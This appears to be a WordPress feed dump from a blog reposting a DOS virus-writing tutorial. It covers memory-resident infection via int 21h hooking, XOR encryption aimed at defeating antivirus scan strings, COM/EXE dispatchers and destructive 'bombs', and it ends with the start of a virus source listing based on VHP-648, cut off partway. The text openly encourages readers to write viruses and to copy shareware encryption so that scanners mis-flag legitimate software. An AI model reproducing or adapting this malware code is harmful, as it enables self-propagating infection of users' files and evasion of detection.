; corrupt the memory chains<br />
mov  byte ptr ds:[0],&#8217;Z&#8217;</p>
<p>; Step 3) Alter the program&#8217;s top of memory field in the PSP<br />
; This preserves compatibility with COMMAND.COM and any other program<br />
; which uses the field to determine the top of memory<br />
sub  word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1</p>
<p>; Step 4) Calculate the first usable segment<br />
mov  bx,ds:[3] ; Get MCB size<br />
stc            ; Add one for the MCB segment<br />
adc  bx,ax     ; Assume AX still equals the MCB of the carrier file<br />
; BX now holds first usable segment.  Build the MCB<br />
; there<br />
; Alternatively, you can use the value in ds:[12h] as the first usable<br />
; segment:<br />
; mov  bx,ds:[12h]</p>
<p>; Step 5) Build the MCB<br />
mov  ds,bx     ; ds holds the area to build the MCB<br />
inc  bx        ; es now holds the segment of the memory area controlled<br />
mov  es,bx     ; by the MCB<br />
mov  byte ptr ds:[0],&#8217;Z&#8217; ; Mark the MCB as the last in the chain<br />
; Note: you can have more than one MCB chain<br />
mov  word ptr ds:[1],8   ; Mark DOS as the owner<br />
mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field</p>
<p>There is yet another method involving direct manipulation.</p>
<p>; Step 1) Shrink the carrier program&#8217;s memory allocation<br />
; Note that rounding is to the nearest 1024 bytes and there is no<br />
; addition for an MCB<br />
sub  ds:[3],((endvirus-startvirus+1023)/1024)*64</p>
<p>; Step 2) Mark the carrier program&#8217;s MCB as the last in the chain<br />
mov  byte ptr ds:[1],&#8217;Z&#8217;</p>
<p>; Step 3) Alter the program&#8217;s top of memory field in the PSP<br />
sub  word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64</p>
<p>; Step 4) Calculate the first usable segment<br />
mov  es,word ptr ds:[12h]</p>
<p>; Step 5) Shrink the total memory as held in BIOS<br />
; Memory location 0:413h holds the total system memory in K<br />
xor  ax,ax<br />
mov  ds,ax<br />
sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size</p>
<p>This method  is great  because it  is simple and short.  No MCB needs to be<br />
created because  DOS will no longer allocate memory held by the virus.  The<br />
modification of the field in the BIOS memory area guarantees this.</p>
<p>COPY THE VIRUS TO HIGH MEMORY</p>
<p>This is  ridiculously easy  to do.  If ES holds the high memory segment, DS<br />
holds CS, and BP holds the delta offset, then the following code will do:</p>
<p>lea  si,[bp+offset startvirus]<br />
xor  di,di     ; destination @ 0<br />
mov  cx,(endvirus-startvirus)/2<br />
rep  movsw     ; Copy away, use words for speed</p>
<p>SWAP INTERRUPT VECTORS</p>
<p>There are,  once again,  two ways  to do this; via DOS or directly.  Almost<br />
every programmer  worth his  salt has  played with interrupt vectors at one<br />
time or another.  Via DOS:</p>
<p>push es        ; es-&gt;high memory<br />
pop  ds        ; ds-&gt;high memory<br />
mov  ax,3521h  ; get old int 21h handler<br />
int  21h       ; to es:bx<br />
mov  word ptr ds:oldint21,bx  ; save it<br />
mov  word ptr ds:oldint21+2,es<br />
mov  dx,offset int21 ; ds:dx-&gt;new int 21h handler in virus<br />
mov  ax,2521h  ; set handler<br />
int  21h</p>
<p>And direct manipulation:<br />
xor  ax,ax<br />
mov  ds,ax<br />
lds  bx,ds:[21h*4]<br />
mov  word ptr es:oldint21,bx<br />
mov  word ptr es:oldint21+2,ds<br />
mov  ds,ax<br />
mov  ds:[21h*4],offset int21<br />
mov  ds:[21h*4+2],es</p>
<p>Delta offset  calculations  are  not  needed  since  the  location  of  the<br />
variables is  known.   This is because the virus is always loaded into high<br />
memory starting in offset 0.</p>
<p>INTERRUPT HANDLER</p>
<p>The interrupt  handler intercepts  function calls  to DOS and waylays them.<br />
The interrupt  handler typically  begins with  a check  for a  call to  the<br />
installation check.  For example:</p>
<p>int21:<br />
cmp  ax,9999h  ; installation check?<br />
jnz  not_installation_check<br />
xchg ax,bx     ; return bx = 9999h if installed<br />
iret           ; exit interrupt handler<br />
not_installation_check:<br />
; rest of interrupt handler goes here</p>
<p>With this  out of  the way,  the virus  can trap whichever DOS functions it<br />
wishes.    Generally  the  most  effective  function  to  trap  is  execute<br />
(ax=4b00h), as  the most commonly executed files will be infected.  Another<br />
function to  trap, albeit  requiring more work, is handle close.  This will<br />
infect  on   copies,  viewings,  patchings,  etc.    With  some  functions,<br />
prechaining is  desired; others,  postchaining.   Use common sense.  If the<br />
function destroys  the filename  pointer, then  use prechaining.    If  the<br />
function   needs   to  be   completed  before  infection  can  take  place,<br />
postchaining should be used.  Prechaining is simple:</p>
<p>pushf           ; simulate an int 21h call<br />
call dword ptr cs:oldint21</p>
<p>; The following code ensures that the flags will be properly set upon<br />
; return to the caller<br />
pushf<br />
push bp<br />
push ax</p>
<p>; flags         [bp+10]<br />
; calling CS:IP [bp+6]<br />
; flags new     [bp+4]<br />
; bp            [bp+2]<br />
; ax            [bp]</p>
<p>mov  bp, sp     ; setup stack frame<br />
mov  ax, [bp+4] ; get new flags<br />
mov  [bp+10], ax; replace the old with the new</p>
<p>pop  ax         ; restore stack<br />
pop  bp<br />
popf</p>
<p>To exit  the interrupt  handler after  prechaining, use  an iret  statement<br />
rather than a retn or retf.  Postchaining is even simpler:</p>
<p>jmp  dword ptr cs:oldint21 ; this never returns to the virus int handler</p>
<p>When leaving  the interrupt  handler, make  sure  that  the  stack  is  not<br />
unbalanced and  that the  registers were  not altered.   Save the registers<br />
right after prechaining and long before postchaining.</p>
<p>Infection in  a resident  virus is  essentially  the  same  as  that  in  a<br />
nonresident virus.   The  only difference occurs when the interrupt handler<br />
traps one  of the functions used in the infection routine.  For example, if<br />
handle close is trapped, then the infection routine must replace the handle<br />
close int 21h call with a call to the original interrupt 21h handler, a la:</p>
<p>pushf<br />
call dword ptr cs:oldint21</p>
<p>It is also necessary to handle encryption in another manner with a resident<br />
virus.  In the nonresident virus, it was not necessary to preserve the code<br />
at all  times.   However, it  is desirable to keep the interrupt handler(s)<br />
decrypted, even  when infecting.   Therefore,  the virus  should  keep  two<br />
copies of  itself in  memory, one  as code  and one as data.  The encryptor<br />
should encrypt  the secondary  copy  of  the  virus,  thereby  leaving  the<br />
interrupt handler(s)  alone.   This is  especially important  if the  virus<br />
traps other interrupts such as int 9h or int 13h.</p>
<p>A THEORY ON RESIDENT VIRUSES</p>
<p>Resident viruses  can typically  be divided  into two  categories; slow and<br />
fast infectors.  They each have their own advantages and disadvantages.</p>
<p>Slow infectors  do not  infect except in the case of a file creation.  This<br />
infector traps file creates and infects upon the closing of the file.  This<br />
type of  virus infects  on new  file creations  and copying  of files.  The<br />
disadvantage is  that the  virus spreads slowly.  This disadvantage is also<br />
an advantage,  as this  may keep  it undetected  for a long time.  Although<br />
slow infectors sound ineffective, in reality they can work well.  Infection<br />
on file  creations means that checksum/CRC virus detectors won&#8217;t be able to<br />
checksum/CRC the  file until  after it  has been  infected.   Additionally,<br />
files are  often copied  from one  directory to  another after testing.  So<br />
this method can work.</p>
<p>Fast infectors  infect on  executes.   This type  of virus will immediately<br />
attack commonly  used files,  ensuring the continual residency of the virus<br />
in subsequent  boots.   This is  the primary  advantage, but it is also the<br />
primary disadvantage.   The  infector works  so rapidly  that the  user may<br />
quickly detect  a discrepancy with the system, especially if the virus does<br />
not utilise any stealth techniques.</p>
<p>Of course,  there is  no  &#8220;better&#8221;  way.    It  is  a  matter  of  personal<br />
preference.   The vast  majority  of  viruses  today  are  fast  infectors,<br />
although slow infectors are beginning to appear with greater frequency.</p>
<p>If the  virus is  to infect  on a  create or  open, it  first must copy the<br />
filename to  a buffer,  execute the  call, and  save the handle.  The virus<br />
must then  wait for  a handle close corresponding to that handle and infect<br />
using the  filename stored  in the  buffer.  This is the simplest method of<br />
infecting after a handle close without delving into DOS internals.</p>
<p>IF YOU DON&#8217;T UNDERSTAND IT YET</p>
<p>don&#8217;t despair;  it will  come after  some time and much practise.  You will<br />
soon find  that resident  viruses  are  easier  to  code  than  nonresident<br />
viruses.   That&#8217;s all  for this  installment, but  be sure to grab the next<br />
one.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/42/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/42/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/42/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=42&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/19/non-resident-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Non Resident</title>
		<link>http://virusconstruction.wordpress.com/2008/08/19/non-resident/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/19/non-resident/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 05:39:26 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Non Resident]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=40</guid>
		<description><![CDATA[THE CONCEALER The concealer  is the  most common  defense  virus  writers  use  to  avoid detection of  virii.   The most common encryption/decryption routine by far is the XOR, since it may be used for both encryption and decryption. encrypt_val   dw   ?   ; Should be somewhere in decrypted area decrypt: encrypt: mov dx, word ptr [bp+encrypt_val] mov [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=40&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>THE CONCEALER</p>
<p>The concealer  is the  most common  defense  virus  writers  use  to  avoid<br />
detection of  virii.   The most common encryption/decryption routine by far<br />
is the XOR, since it may be used for both encryption and decryption.</p>
<p>encrypt_val   dw   ?   ; Should be somewhere in decrypted area</p>
<p>decrypt:<br />
encrypt:<br />
mov dx, word ptr [bp+encrypt_val]<br />
mov cx, (part_to_encrypt_end &#8211; part_to_encrypt_start + 1) / 2<br />
lea si, [bp+part_to_encrypt_start]<br />
mov di, si</p>
<p>xor_loop:<br />
lodsw<br />
xor ax, dx<br />
stosw<br />
loop xor_loop</p>
<p>The previous  routine uses  a simple XOR routine to encrypt or decrypt code<br />
in memory.   This  is essentially  the same routine as the one in the first<br />
installment, except  it encrypts words rather than bytes.  It therefore has<br />
65,535 mutations  as opposed  to 255 and is also twice as fast.  While this<br />
routine is  simple to  understand, it  leaves much  to be  desired as it is<br />
large and therefore is almost begging to be a scan string.  A better method<br />
follows:</p>
<p>encrypt_val   dw    ?</p>
<p>decrypt:<br />
encrypt:<br />
mov dx, word ptr [bp+encrypt_val]<br />
lea bx, [bp+part_to_encrypt_start]<br />
mov cx, (part_to_encrypt_end &#8211; part_to_encrypt_start + 1) / 2</p>
<p>xor_loop:<br />
xor word ptr [bx], dx<br />
add bx, 2<br />
loop xor_loop</p>
<p>Although this  code is  much shorter,  it is possible to further reduce its<br />
size.   The best  method is  to insert the values for the encryption value,<br />
BX, and CX, in at infection-time.</p>
<p>decrypt:<br />
encrypt:<br />
mov bx, 0FFFFh<br />
mov cx, 0FFFFh</p>
<p>xor_loop:<br />
xor word ptr [bx], 0FFFFh<br />
add bx, 2<br />
loop xor_loop</p>
<p>All the  values denoted  by 0FFFFh  may be changed upon infection to values<br />
appropriate for  the infected  file.  For example, BX should be loaded with<br />
the offset  of part_to_encrypt_start  relative to the start of the infected<br />
file when the encryption routine is written to the infected file.</p>
<p>The primary  advantage of  the code  used above is the minimisation of scan<br />
code length.   The scan code can only consist of those portions of the code<br />
which remain  constant.   In this  case,  there  are  only  three  or  four<br />
consecutive bytes  which remain  constant.   Since  the  entire  encryption<br />
consist of only about a dozen bytes, the size of the scan code is extremely<br />
tiny.</p>
<p>Although the  function of  the encryption  routine is  clear,  perhaps  the<br />
initial encryption  value and  calculation of  subsequent values  is not as<br />
lucid.  The initial value for most XOR encryptions should be 0.  You should<br />
change the  encryption value  during  the  infection  process.    A  random<br />
encryption value  is desired.   The  simplest method  of obtaining a random<br />
number is  to consult  to internal  clock.   A random  number may be easily<br />
obtained with a simple:</p>
<p>mov     ah, 2Ch                         ; Get me a random number.<br />
int     21h<br />
mov     word ptr [bp+encrypt_val], dx   ; Can also use CX</p>
<p>Some encryption  functions do not facilitate an initial value of 0.  For an<br />
example, take  a look  at Whale.  It uses the value of the previous word as<br />
an encryption  value.   In these  cases, simply  use a JMP to skip past the<br />
decryption routine  when coding  the virus.   However, make sure infections<br />
JMP to  the right location!  For example, this is how you would code such a<br />
virus:</p>
<p>org     100h</p>
<p>start:<br />
jmp     past_encryption</p>
<p>; Insert your encryption routine here</p>
<p>past_encryption:</p>
<p>The encryption  routine is  the ONLY  part of  the virus  which needs to be<br />
unencrypted.   Through code-moving  techniques, it  is possible to copy the<br />
infection mechanism  to the  heap (memory location past the end of the file<br />
and before  the stack).   All  that is required is a few MOVSW instructions<br />
and one  JMP.   First the  encryption routine  must  be  copied,  then  the<br />
writing, then  the decryption,  then the  RETurn back  to the program.  For<br />
example:</p>
<p>lea si, [bp+encryption_routine]<br />
lea di, [bp+heap]<br />
mov cx, encryption_routine_size<br />
push si<br />
push cx<br />
rep movsb</p>
<p>lea si, [bp+writing_routine]<br />
mov cx, writing_routine_size<br />
rep movsb</p>
<p>pop cx<br />
pop si<br />
rep movsb</p>
<p>mov al, 0C3h                             ; Tack on a near return<br />
stosb</p>
<p>call [bp+heap]</p>
<p>Although most  virii, for  simplicity&#8217;s sake, use the same routine for both<br />
encryption  and  decryption,  the  above  code  shows  this  is  completely<br />
unnecessary.   The only  modification of  the above code for inclusion of a<br />
separate decryption  routine is to take out the PUSHes and replace the POPs<br />
with the appropriate LEA si and MOV cx.</p>
<p>Original encryption  routines, while  interesting, might  not be  the best.<br />
Stolen encryption  routines are  the best,  especially  those  stolen  from<br />
encrypted shareware  programs!   Sydex is notorious for using encryption in<br />
their shareware  programs.   Take a  look at  a  shareware  program&#8217;s  puny<br />
encryption and  feel free  to copy  it into your own.  Hopefully, the anti-<br />
viral developers  will create  a scan string which will detect infection by<br />
your virus in shareware products simply because the encryption is the same.</p>
<p>Note that  this is  not a  full treatment  of concealment routines.  A full<br />
text file could be written on encryption/decryption techniques alone.  This<br />
is only  the simplest  of all  possible encryption techniques and there are<br />
far more  concealment techniques  available.  However, for the beginner, it<br />
should suffice.</p>
<p>THE DISPATCHER</p>
<p>The dispatcher  is the  portion of the virus which restores control back to<br />
the infected  program.    The  dispatchers  for  EXE  and  COM  files  are,<br />
naturally, different.</p>
<p>In COM  files, you  must restore  the bytes  which were overwritten by your<br />
virus and  then transfer  control back  to CS:100h,  which is where all COM<br />
files are initially loaded.</p>
<p>RestoreCOM:<br />
mov di, 100h                     ; We are copying to the beginning<br />
lea si, [bp+savebuffer]          ; We are copying from our buffer<br />
push di                          ; Save offset for return (100h)<br />
movsw                            ; Mo efficient than mov cx, 3, movsb<br />
movsb                            ; Alter to meet your needs<br />
retn                             ; A JMP will also work</p>
<p>EXE files  require simply  the restoration of the stack segment/pointer and<br />
the code segment/instruction pointer.</p>
<p>ExeReturn:<br />
mov     ax, es                           ; Start at PSP segment<br />
add     ax, 10h                          ; Skip the PSP<br />
add     word ptr cs:[bp+ExeWhereToJump+2], ax<br />
cli<br />
add     ax, word ptr cs:[bp+StackSave+2] ; Restore the stack<br />
mov     ss, ax<br />
mov     sp, word ptr cs:[bp+StackSave]<br />
sti<br />
db      0eah                             ; JMP FAR PTR SEG:OFF<br />
ExeWhereToJump:<br />
dd      0<br />
StackSave:<br />
dd      0</p>
<p>ExeWhereToJump2 dd 0<br />
StackSave2      dd 0</p>
<p>Upon  infection,   the  initial   CS:IP  and  SS:SP  should  be  stored  in<br />
ExeWhereToJump2 and StackSave2, respectively.  They should then be moved to<br />
ExeWhereToJump and  StackSave before  restoration of  the  program.    This<br />
restoration may be easily accomplished with a series of MOVSW instructions.</p>
<p>Some like  to clear all the registers prior to the JMP/RET, i.e. they issue<br />
a bunch  of XOR  instructions.   If you  feel happy  and wish to waste code<br />
space, you are welcome to do this, but it is unnecessary in most instances.</p>
<p>THE BOMB</p>
<p>&#8220;The horror!  The horror!&#8221;<br />
- Joseph Conrad, The Heart of Darkness</p>
<p>What goes through the mind of a lowly computer user when a virus activates?<br />
What terrors  does the unsuspecting victim undergo as the computer suddenly<br />
plays a  Nazi tune?  How awful it must be to lose thousands of man-hours of<br />
work in an instant!</p>
<p>Actually, I  do not  support wanton destruction of data and disks by virii.<br />
It serves  no purpose  and usually  shows little imagination.  For example,<br />
the world-famous Michelangelo virus did nothing more than overwrite sectors<br />
of the  drive with  data taken at random from memory.  How original.  Yawn.<br />
Of course,  if you  are hell-bent  on destruction, go ahead and destroy all<br />
you want,  but just  remember that this portion of the virus is usually the<br />
only part  seen by  &#8220;end-users&#8221; and distinguishes it from others.  The best<br />
examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.<br />
Don&#8217;t forget the PHALCON/SKISM line, especially those by me (I had to throw<br />
in a plug for the group)!</p>
<p>As you  can see,  there&#8217;s no  code to  speak of in this section.  Since all<br />
bombs should be original, there isn&#8217;t much point of putting in the code for<br />
one, now  is there!   Of course, some virii don&#8217;t contain any bomb to speak<br />
of.   Generally speaking,  only those  under about  500 bytes  lack  bombs.<br />
There is no advantage of not having a bomb other than size considerations.</p>
<p>MEA CULPA</p>
<p>I regret  to inform  you that  the  EXE  infector  presented  in  the  last<br />
installment was  not quite  perfect.   I admit  it.   I made  a mistake  of<br />
colossal proportions   The  calculation of  the file size and file size mod<br />
512 was screwed up.  Here is the corrected version:</p>
<p>; On entry, DX:AX hold the NEW file size</p>
<p>push    ax                          ; Save low word of filesize<br />
mov     cl, 9                       ; 2^9 = 512<br />
shr     ax, cl                      ; / 512<br />
ror     dx, cl                      ; / 512 (sort of)<br />
stc                                 ; Check EXE header description<br />
; for explanation of addition<br />
adc     dx, ax                      ; of 1 to the DIV 512 portion<br />
pop     ax                          ; Restore low word of filesize<br />
and     ah, 1                       ; MOD 512</p>
<p>This results  in the file size / 512 + 1 in DX and the file size modulo 512<br />
in AX.   The  rest remains  the same.  Test your EXE infection routine with<br />
Microsoft&#8217;s LINK.EXE,  since it  won&#8217;t run  unless  the  EXE  infection  is<br />
perfect.</p>
<p>I have  saved you  the trouble  and smacked myself upside the head for this<br />
dumb error.</p>
<p>TIPS AND TRICKS</p>
<p>So now  all the  parts of  the nonresident  virus have been covered.  Yet I<br />
find myself  left with several more K to fill.  So, I shall present several<br />
simple techniques anyone can incorporate into virii to improve efficiency.</p>
<p>1.   Use the heap<br />
The heap  is the memory area between the end of code and the bottom of<br />
the stack.   It can be conveniently treated as a data area by a virus.<br />
By moving  variables to the heap, the virus need not keep variables in<br />
its code,  thereby reducing  its length.  Note that since the contents<br />
heap are  not part  of the  virus, only  temporary variables should be<br />
kept there,  i.e. the  infection routine  should not count the heap as<br />
part of  the virus as that would defeat the entire purpose of its use.<br />
There are two ways of using the heap:</p>
<p>; First method</p>
<p>EndOfVirus:<br />
Variable1 equ $<br />
Variable2 equ Variable1 + LengthOfVariable1<br />
Variable3 equ Variable2 + LengthOfVariable2<br />
Variable4 equ Variable3 + LengthOfVariable3</p>
<p>; Example of first method</p>
<p>EndOfVirus:<br />
StartingDirectory = $<br />
TemporaryDTA      = StartingDirectory + 64<br />
FileSize          = TemporaryDTA + 42<br />
Flag              = FileSize + 4</p>
<p>; Second method</p>
<p>EndOfVirus:<br />
Variable1 db LengthOfVariable1 dup (?)<br />
Variable2 db LengthOfVariable2 dup (?)<br />
Variable3 db LengthOfVariable3 dup (?)<br />
Variable4 db LengthOfVariable4 dup (?)</p>
<p>; Example of second method<br />
EndOfVirus:<br />
StartingDirectory db 64 dup (?)<br />
TemporaryDTA      db 42 dup (?)<br />
FileSize          dd ?<br />
Flag              db ?</p>
<p>The two  methods differ  slightly.   By using  the first  method,  you<br />
create a  file which  will be  the exact  length of  the  virus  (plus<br />
startup  code).     However,  when  referencing  the  variables,  size<br />
specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always<br />
be used  or the  assembler will  become befuddled.   Secondly,  if the<br />
variables need  to be  rearranged for some reason, the entire chain of<br />
EQUates will  be destroyed  and must  be rebuilt.   Virii  coded  with<br />
second method  do not need size specifications, but the resulting file<br />
will be  larger than  the actual size of the virus.  While this is not<br />
normally a  problem, depending on the reinfection check, the virus may<br />
infect the  original file  when run.   This  is not  a big disability,<br />
especially considering the advantages of this method.</p>
<p>In any  case, the  use of  the heap  can greatly  lessen the effective<br />
length of the virus code and thereby make it much more efficient.  The<br />
only thing  to watch  out for  is infecting  large COM files where the<br />
heap will  &#8220;wrap around&#8221;  to offset  0 of the same segment, corrupting<br />
the PSP.   However,  this problem is easily avoided.  When considering<br />
whether a  COM file is too large to infect for this reason, simply add<br />
the temporary variable area size to the virus size for the purposes of<br />
the check.</p>
<p>2.   Use procedures<br />
Procedures are  helpful in  reducing the  size of  the virus, which is<br />
always a  desired goal.   Only  use procedures if they save space.  To<br />
determine the amount of bytes saved by the use of a procedure, use the<br />
following formula:</p>
<p>Let PS = the procedure size, in bytes<br />
bytes saved = (PS &#8211; 4) * number invocations &#8211; PS</p>
<p>For example, the close file procedure,</p>
<p>close_file:<br />
mov ah, 3eh      ; 2 bytes<br />
int 21h          ; 2 bytes<br />
ret              ; 1 byte<br />
; PS = 2+2+1 = 5</p>
<p>is only  viable if  it is used 6 or more times, as (5-4)*6 &#8211; 5 = 1.  A<br />
whopping savings of one (1) byte!  Since no virus closes a file in six<br />
different places,  the close  file procedure  is clearly  useless  and<br />
should be avoided.</p>
<p>Whenever  possible,  design  the  procedures  to  be  as  flexible  as<br />
possible.   This is the chief reason why Bulgarian coding is so tight.<br />
Just take  a look  at the source for Creeping Death.  For example, the<br />
move file pointer procedure:</p>
<p>go_eof:<br />
mov al, 2<br />
move_fp:<br />
xor dx, dx<br />
go_somewhere:<br />
xor cx, cx<br />
mov ah, 42h<br />
int 21h<br />
ret</p>
<p>The function  was build  with flexibility  in mind.   With  a CALL  to<br />
go_eof, the  procedure will  move the  file pointer  to the end of the<br />
file.   A CALL  to move_fp  with AL set to 0, the file pointer will be<br />
reset.   A CALL  to go_somewhere  with DX and AL set, the file pointer<br />
may be  moved anywhere  within the  file.   If the  function  is  used<br />
heavily, the savings could be enormous.</p>
<p>3.   Use a good assembler and debugger<br />
The best  assembler I have encountered to date is Turbo Assembler.  It<br />
generates tight  code extremely  quickly.    Use  the  /m2  option  to<br />
eliminate all  placeholder NOPs  from the  code.   The advantages  are<br />
obvious &#8211; faster development and smaller code.</p>
<p>The best  debugger is  also made  by Borland,  the king of development<br />
tools.   Turbo Debugger  has so many features that you might just want<br />
to buy  it so  you can  read the  manual!  It can bypass many debugger<br />
traps with ease and is ideal for testing.  Additionally, this debugger<br />
has 286  and 386  specific protected  mode versions, each of which are<br />
even more powerful than their real mode counterparts.</p>
<p>4.   Don&#8217;t use MOV instead of LEA<br />
When writing your first virus, you may often forget to use LEA instead<br />
of MOV  when loading  offsets.  This is a serious mistake and is often<br />
made by  beginning virus  coders.   The  harmful  effects  of  such  a<br />
grevious error  are immediately obvious.  If the virus is not working,<br />
check for  this bug.   It&#8217;s  almost as hard to catch as a NULL pointer<br />
error in C.</p>
<p>5.   Read the latest issues of 40Hex<br />
40Hex, PHALCON/SKISM&#8217;s  official journal of virus techniques and news,<br />
is a publication not to be missed by any self-respecting virus writer.<br />
Each issue  contains techniques  and source code, designed to help all<br />
virus writers,  be they  beginners or  experts.  Virus-related news is<br />
also published.  Get it, read it, love it, eat it!</p>
<p>SO NOW</p>
<p>you have  all the  code and information sufficient to write a viable virus,<br />
as well  as a  wealth of  techniques to  use.   So stop  reading and  start<br />
writing!   The only  way to  get better  is through practise.  After two or<br />
three tries, you should be well on your way to writing good virii.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/40/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/40/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/40/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=40&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/19/non-resident/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus 3</title>
		<link>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-3/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-3/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 05:11:46 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Listing Virus 3]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=34</guid>
		<description><![CDATA[name    Virus title    Virus; based on the famous VHP-648 virus .radix    16 code    segment assume    cs:code,ds:code org    100 environ equ    2C start: jmp    virus int    20 data    label    byte        ;Data section dtaaddr dd    ?        ;Disk Transfer Address ftime    dw    ?        ;File date fdate    dw    ?        ;File time fattrib dw    ?        [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=34&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>name    Virus<br />
title    Virus; based on the famous VHP-648 virus<br />
.radix    16<br />
code    segment<br />
assume    cs:code,ds:code<br />
org    100<br />
environ equ    2C</p>
<p>start:<br />
jmp    virus<br />
int    20</p>
<p>data    label    byte        ;Data section<br />
dtaaddr dd    ?        ;Disk Transfer Address<br />
ftime    dw    ?        ;File date<br />
fdate    dw    ?        ;File time<br />
fattrib dw    ?        ;File attribute<br />
saveins db    3 dup (90)    ;Original first 3 bytes<br />
newjmp    db    0E9        ;Code of jmp instruction<br />
codeptr dw    ?        ;Here is formed a jump to virus code<br />
allcom    db    &#8216;*.COM&#8217;,0       ;Filespec to search for<br />
poffs    dw    ?        ;Address of &#8216;PATH&#8217; string<br />
eqoffs    dw    ?        ;Address of &#8216;=&#8217; sign<br />
pathstr db    &#8216;PATH=&#8217;<br />
fname    db    40 dup (&#8216; &#8216;)    ;Path name to search for</p>
<p>;Disk Transfer Address for Find First / Find Next:</p>
<p>mydta    label    byte<br />
drive    db    ?        ;Drive to search for<br />
pattern db    13d dup (?)    ;Search pattern<br />
